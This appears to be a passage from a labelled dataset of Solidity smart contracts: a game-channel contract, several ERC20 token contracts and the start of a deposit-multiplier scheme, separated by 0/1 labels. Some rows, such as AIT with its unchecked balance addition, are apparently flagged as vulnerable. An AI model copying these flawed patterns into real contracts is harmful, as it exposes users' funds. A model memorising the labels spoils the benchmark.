Game storage game = gameIdGame[gameId];
require(gameId == _gameId, "inv gameId");
if (game.status == GameStatus.ACTIVE) {
game.endInitiatedTime = block.timestamp;
game.status = GameStatus.USER_INITIATED_END;
emit LogUserRequestedEnd(msg.sender, gameId);
} else if (game.status == GameStatus.SERVER_INITIATED_END && game.roundId == 0) {
cancelActiveGame(game, gameId, userAddress);
} else {
revert();
}
}
function serverCancelActiveGame(address _userAddress, uint _gameId) public onlyServer {
uint gameId = userGameId[_userAddress];
Game storage game = gameIdGame[gameId];
require(gameId == _gameId, "inv gameId");
if (game.status == GameStatus.ACTIVE) {
game.endInitiatedTime = block.timestamp;
game.status = GameStatus.SERVER_INITIATED_END;
emit LogServerRequestedEnd(msg.sender, gameId);
} else if (game.status == GameStatus.USER_INITIATED_END && game.roundId == 0) {
cancelActiveGame(game, gameId, _userAddress);
} else {
revert();
}
}
function serverForceGameEnd(address _userAddress, uint _gameId) public onlyServer {
uint gameId = userGameId[_userAddress];
Game storage game = gameIdGame[gameId];
require(gameId == _gameId, "inv gameId");
require(game.status == GameStatus.SERVER_INITIATED_END, "inv status");
int newBalance = conflictRes.serverForceGameEnd(
game.gameType,
game.betNum,
game.betValue,
game.balance,
game.stake,
game.endInitiatedTime
);
closeGame(game, gameId, game.roundId, _userAddress, ReasonEnded.SERVER_FORCED_END, newBalance);
}
function userForceGameEnd(uint _gameId) public {
address userAddress = msg.sender;
uint gameId = userGameId[userAddress];
Game storage game = gameIdGame[gameId];
require(gameId == _gameId, "inv gameId");
require(game.status == GameStatus.USER_INITIATED_END, "inv status");
int newBalance = conflictRes.userForceGameEnd(
game.gameType,
game.betNum,
game.betValue,
game.balance,
game.stake,
game.endInitiatedTime
);
closeGame(game, gameId, game.roundId, userAddress, ReasonEnded.USER_FORCED_END, newBalance);
}
function userEndGameConflictImpl(
uint32 _roundId,
uint8 _gameType,
uint _num,
uint _value,
int _balance,
bytes32 _userHash,
bytes32 _userSeed,
uint _gameId,
address _userAddress
)
private
{
uint gameId = userGameId[_userAddress];
Game storage game = gameIdGame[gameId];
int maxBalance = conflictRes.maxBalance();
int gameStake = game.stake;
require(gameId == _gameId, "inv gameId");
require(_roundId > 0, "inv roundId");
require(keccak256(abi.encodePacked(_userSeed)) == _userHash, "inv userSeed");
require(-gameStake <= _balance && _balance <= maxBalance, "inv balance");
require(conflictRes.isValidBet(_gameType, _num, _value), "inv bet");
require(gameStake.add(_balance).sub(_value.castToInt()) >= 0, "value too high");
if (game.status == GameStatus.SERVER_INITIATED_END && game.roundId == _roundId) {
game.userSeed = _userSeed;
endGameConflict(game, gameId, _userAddress);
} else if (game.status == GameStatus.ACTIVE
|| (game.status == GameStatus.SERVER_INITIATED_END && game.roundId < _roundId)) {
game.status = GameStatus.USER_INITIATED_END;
game.endInitiatedTime = block.timestamp;
game.roundId = _roundId;
game.gameType = _gameType;
game.betNum = _num;
game.betValue = _value;
game.balance = _balance;
game.userSeed = _userSeed;
game.serverSeed = bytes32(0);
emit LogUserRequestedEnd(msg.sender, gameId);
} else {
revert("inv state");
}
}
function serverEndGameConflictImpl(
uint32 _roundId,
uint8 _gameType,
uint _num,
uint _value,
int _balance,
bytes32 _serverHash,
bytes32 _userHash,
bytes32 _serverSeed,
bytes32 _userSeed,
uint _gameId,
address _userAddress
)
private
{
uint gameId = userGameId[_userAddress];
Game storage game = gameIdGame[gameId];
int maxBalance = conflictRes.maxBalance();
int gameStake = game.stake;
require(gameId == _gameId, "inv gameId");
require(_roundId > 0, "inv roundId");
require(keccak256(abi.encodePacked(_serverSeed)) == _serverHash, "inv serverSeed");
require(keccak256(abi.encodePacked(_userSeed)) == _userHash, "inv userSeed");
require(-gameStake <= _balance && _balance <= maxBalance, "inv balance");
require(conflictRes.isValidBet(_gameType, _num, _value), "inv bet");
require(gameStake.add(_balance).sub(_value.castToInt()) >= 0, "too high value");
if (game.status == GameStatus.USER_INITIATED_END && game.roundId == _roundId) {
game.serverSeed = _serverSeed;
endGameConflict(game, gameId, _userAddress);
} else if (game.status == GameStatus.ACTIVE
|| (game.status == GameStatus.USER_INITIATED_END && game.roundId < _roundId)) {
game.status = GameStatus.SERVER_INITIATED_END;
game.endInitiatedTime = block.timestamp;
game.roundId = _roundId;
game.gameType = _gameType;
game.betNum = _num;
game.betValue = _value;
game.balance = _balance;
game.serverSeed = _serverSeed;
game.userSeed = _userSeed;
emit LogServerRequestedEnd(_userAddress, gameId);
} else {
revert("inv state");
}
}
function cancelActiveGame(Game storage _game, uint _gameId, address _userAddress) private {
int newBalance = -conflictRes.conflictEndFine();
int stake = _game.stake;
if (newBalance < -stake) {
newBalance = -stake;
}
closeGame(_game, _gameId, 0, _userAddress, ReasonEnded.CONFLICT_ENDED, newBalance);
}
function endGameConflict(Game storage _game, uint _gameId, address _userAddress) private {
int newBalance = conflictRes.endGameConflict(
_game.gameType,
_game.betNum,
_game.betValue,
_game.balance,
_game.stake,
_game.serverSeed,
_game.userSeed
);
closeGame(_game, _gameId, _game.roundId, _userAddress, ReasonEnded.CONFLICT_ENDED, newBalance);
}
}
contract GameChannel is GameChannelConflict {
constructor(
address _serverAddress,
uint128 _minStake,
uint128 _maxStake,
address _conflictResAddress,
address _houseAddress,
uint _chainId
)
public
GameChannelConflict(_serverAddress, _minStake, _maxStake, _conflictResAddress, _houseAddress, _chainId)
{
}
function createGame(
bytes32 _userEndHash,
uint _previousGameId,
uint _createBefore,
bytes32 _serverEndHash,
bytes _serverSig
)
public
payable
onlyValidValue
onlyValidHouseStake(activeGames + 1)
onlyNotPaused
{
uint previousGameId = userGameId[msg.sender];
Game storage game = gameIdGame[previousGameId];
require(game.status == GameStatus.ENDED, "prev game not ended");
require(previousGameId == _previousGameId, "inv gamePrevGameId");
require(block.timestamp < _createBefore, "expired");
verifyCreateSig(msg.sender, _previousGameId, _createBefore, _serverEndHash, _serverSig);
uint gameId = gameIdCntr++;
userGameId[msg.sender] = gameId;
Game storage newGame = gameIdGame[gameId];
newGame.stake = uint128(msg.value);
newGame.status = GameStatus.ACTIVE;
activeGames = activeGames.add(1);
emit LogGameCreated(msg.sender, gameId, uint128(msg.value), _serverEndHash, _userEndHash);
}
function serverEndGame(
uint32 _roundId,
int _balance,
bytes32 _serverHash,
bytes32 _userHash,
uint _gameId,
address _contractAddress,
address _userAddress,
bytes _userSig
)
public
onlyServer
{
verifySig(
_roundId,
0,
0,
0,
_balance,
_serverHash,
_userHash,
_gameId,
_contractAddress,
_userSig,
_userAddress
);
regularEndGame(_userAddress, _roundId, _balance, _gameId, _contractAddress);
}
function userEndGame(
uint32 _roundId,
int _balance,
bytes32 _serverHash,
bytes32 _userHash,
uint _gameId,
address _contractAddress,
bytes _serverSig
)
public
{
verifySig(
_roundId,
0,
0,
0,
_balance,
_serverHash,
_userHash,
_gameId,
_contractAddress,
_serverSig,
serverAddress
);
regularEndGame(msg.sender, _roundId, _balance, _gameId, _contractAddress);
}
function verifyCreateSig(
address _userAddress,
uint _previousGameId,
uint _createBefore,
bytes32 _serverEndHash,
bytes _serverSig
)
private view
{
address contractAddress = this;
bytes32 hash = keccak256(abi.encodePacked(
contractAddress, _userAddress, _previousGameId, _createBefore, _serverEndHash
));
verify(hash, _serverSig, serverAddress);
}
function regularEndGame(
address _userAddress,
uint32 _roundId,
int _balance,
uint _gameId,
address _contractAddress
)
private
{
uint gameId = userGameId[_userAddress];
Game storage game = gameIdGame[gameId];
int maxBalance = conflictRes.maxBalance();
int gameStake = game.stake;
require(_gameId == gameId, "inv gameId");
require(_roundId > 0, "inv roundId");
require(-gameStake <= _balance && _balance <= maxBalance, "inv balance");
require(game.status == GameStatus.ACTIVE, "inv status");
assert(_contractAddress == address(this));
closeGame(game, gameId, _roundId, _userAddress, ReasonEnded.REGULAR_ENDED, _balance);
}
}
library SafeCast {
function castToInt(uint a) internal pure returns(int) {
assert(a < (1 << 255));
return int(a);
}
function castToUint(int a) internal pure returns(uint) {
assert(a >= 0);
return uint(a);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function mul(int256 a, int256 b) internal pure returns (int256) {
if (a == 0) {
return 0;
}
int256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function div(int256 a, int256 b) internal pure returns (int256) {
int256 INT256_MIN = int256((uint256(1) << 255));
assert(a != INT256_MIN || b != - 1);
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function sub(int256 a, int256 b) internal pure returns (int256) {
int256 c = a - b;
assert((b >= 0 && c <= a) || (b < 0 && c > a));
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
assert((b >= 0 && c >= a) || (b < 0 && c < a));
return c;
}
} | 0 | 948 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
} else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint public constant TOKEN_DECIMALS = 9;
uint8 public constant TOKEN_DECIMALS_UINT8 = 9;
uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string public constant TOKEN_NAME = "YFRS";
string public constant TOKEN_SYMBOL = "YFRS";
bool public constant PAUSED = false;
address public constant TARGET_USER = 0x46f51bb1ec957baeb4a7bee244e697c2124d7fcf;
bool public constant CONTINUE_MINTING = true;
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
event Initialized();
bool public initialized = false;
constructor() public {
init();
transferOwnership(TARGET_USER);
}
function name() public pure returns (string _name) {
return TOKEN_NAME;
}
function symbol() public pure returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() public pure returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
function init() private {
require(!initialized);
initialized = true;
if (PAUSED) {
pause();
}
address[1] memory addresses = [address(0x46f51bb1ec957baeb4a7bee244e697c2124d7fcf)];
uint[1] memory amounts = [uint(1000000000000000000)];
uint64[1] memory freezes = [uint64(0)];
for (uint i = 0; i < addresses.length; i++) {
if (freezes[i] == 0) {
mint(addresses[i], amounts[i]);
} else {
mintAndFreeze(addresses[i], amounts[i], freezes[i]);
}
}
if (!CONTINUE_MINTING) {
finishMinting();
}
emit Initialized();
}
} | 0 | 1,393 |
pragma solidity ^0.4.24;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract DetailedERC20 is ERC20 {
string public name;
string public symbol;
uint8 public decimals;
constructor(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
contract SplitPayment {
using SafeMath for uint256;
uint256 public totalShares = 0;
uint256 public totalReleased = 0;
mapping(address => uint256) public shares;
mapping(address => uint256) public released;
address[] public payees;
constructor(address[] _payees, uint256[] _shares) public payable {
require(_payees.length == _shares.length);
for (uint256 i = 0; i < _payees.length; i++) {
addPayee(_payees[i], _shares[i]);
}
}
function () public payable {}
function claim() public {
address payee = msg.sender;
require(shares[payee] > 0);
uint256 totalReceived = address(this).balance.add(totalReleased);
uint256 payment = totalReceived.mul(
shares[payee]).div(
totalShares).sub(
released[payee]
);
require(payment != 0);
require(address(this).balance >= payment);
released[payee] = released[payee].add(payment);
totalReleased = totalReleased.add(payment);
payee.transfer(payment);
}
function addPayee(address _payee, uint256 _shares) internal {
require(_payee != address(0));
require(_shares > 0);
require(shares[_payee] == 0);
payees.push(_payee);
shares[_payee] = _shares;
totalShares = totalShares.add(_shares);
}
}
contract SontakuToken is StandardToken, DetailedERC20, SplitPayment {
using SafeMath for uint256;
event Purchase(
address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount
);
string constant TOKEN_NAME = "Sontaku";
string constant TOKEN_SYMBOL = "SONTAKU";
uint8 constant TOKEN_DECIMALS = 18;
uint256 constant EXCHANGE_RATE = 46490;
uint256 constant HARD_CAP = 46494649 * (uint256(10)**TOKEN_DECIMALS);
uint256 constant MIN_PURCHASE = 4649 * (uint256(10)**(TOKEN_DECIMALS - 2));
uint256 public exchangeRate;
uint256 public hardCap;
uint256 public minPurchase;
uint256 public crowdsaleOpeningTime;
uint256 public crowdsaleClosingTime;
uint256 public fundRaised;
constructor(
address[] _founders,
uint256[] _founderShares,
uint256 _crowdsaleOpeningTime,
uint256 _crowdsaleClosingTime
)
DetailedERC20(TOKEN_NAME, TOKEN_SYMBOL, TOKEN_DECIMALS)
SplitPayment(_founders, _founderShares)
public
{
require(_crowdsaleOpeningTime <= _crowdsaleClosingTime);
exchangeRate = EXCHANGE_RATE;
hardCap = HARD_CAP;
minPurchase = MIN_PURCHASE;
crowdsaleOpeningTime = _crowdsaleOpeningTime;
crowdsaleClosingTime = _crowdsaleClosingTime;
for (uint i = 0; i < _founders.length; i++) {
_mint(_founders[i], _founderShares[i]);
}
}
function () public payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
uint256 tokenAmount = _getTokenAmount(weiAmount);
_validatePurchase(_beneficiary, weiAmount, tokenAmount);
_processPurchase(_beneficiary, weiAmount, tokenAmount);
emit Purchase(
msg.sender,
_beneficiary,
weiAmount,
tokenAmount
);
}
function _validatePurchase(
address _beneficiary,
uint256 _weiAmount,
uint256 _tokenAmount
)
internal view
{
require(_beneficiary != address(0));
require(_weiAmount != 0);
require(_tokenAmount >= minPurchase);
require(totalSupply_ + _tokenAmount <= hardCap);
require(block.timestamp >= crowdsaleOpeningTime);
require(block.timestamp <= crowdsaleClosingTime);
}
function _processPurchase(
address _beneficiary,
uint256 _weiAmount,
uint256 _tokenAmount
)
internal
{
_mint(_beneficiary, _tokenAmount);
fundRaised = fundRaised.add(_weiAmount);
}
function _mint(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
totalSupply_ = totalSupply_.add(_tokenAmount);
balances[_beneficiary] = balances[_beneficiary].add(_tokenAmount);
emit Transfer(address(0), _beneficiary, _tokenAmount);
}
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
return _weiAmount.mul(exchangeRate);
}
} | 0 | 532 |
pragma solidity 0.4.15;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract LineCoin is StandardToken, Ownable {
string public name = "Line Coin";
string public symbol = "LNC";
uint8 public decimals = 18;
uint256 public constant INITIAL_SUPPLY = 1000000000 * (10 ** uint256(decimals));
function LineCoin() {
totalSupply = INITIAL_SUPPLY;
balances[owner] = INITIAL_SUPPLY;
}
} | 1 | 4,188 |
pragma solidity ^0.4.16;
contract AIT{
uint256 constant private MAX_UINT256 = 2**256 - 1;
mapping (address => uint256) public balances;
mapping (address => mapping (address => uint256)) public allowed;
uint256 public totalSupply;
string public name;
uint8 public decimals;
string public symbol;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
function AIT() public {
balances[msg.sender] = 6000000000000;
totalSupply = 6000000000000;
name = "AIToken";
decimals =4;
symbol = "AIT";
}
function transfer(address _to, uint256 _value) public returns (bool success) {
require(balances[msg.sender] >= _value);
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
uint256 allowance = allowed[_from][msg.sender];
require(balances[_from] >= _value && allowance >= _value);
balances[_to] += _value;
balances[_from] -= _value;
if (allowance < MAX_UINT256) {
allowed[_from][msg.sender] -= _value;
}
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
} | 1 | 2,529 |
pragma solidity ^0.4.25;
contract FastGameMultiplier {
address public support;
uint constant public PRIZE_PERCENT = 3;
uint constant public SUPPORT_PERCENT = 2;
uint constant public MAX_INVESTMENT = 0.2 ether;
uint constant public MIN_INVESTMENT = 0.01 ether;
uint constant public MIN_INVESTMENT_FOR_PRIZE = 0.02 ether;
uint constant public GAS_PRICE_MAX = 20;
uint constant public MAX_IDLE_TIME = 10 minutes;
uint constant public SIZE_TO_SAVE_INVEST = 10;
uint constant public TIME_TO_SAVE_INVEST = 5 minutes;
uint8[] MULTIPLIERS = [
115,
120,
125
];
struct Deposit {
address depositor;
uint128 deposit;
uint128 expect;
}
struct DepositCount {
int128 stage;
uint128 count;
}
struct LastDepositInfo {
uint128 index;
uint128 time;
}
Deposit[] private queue;
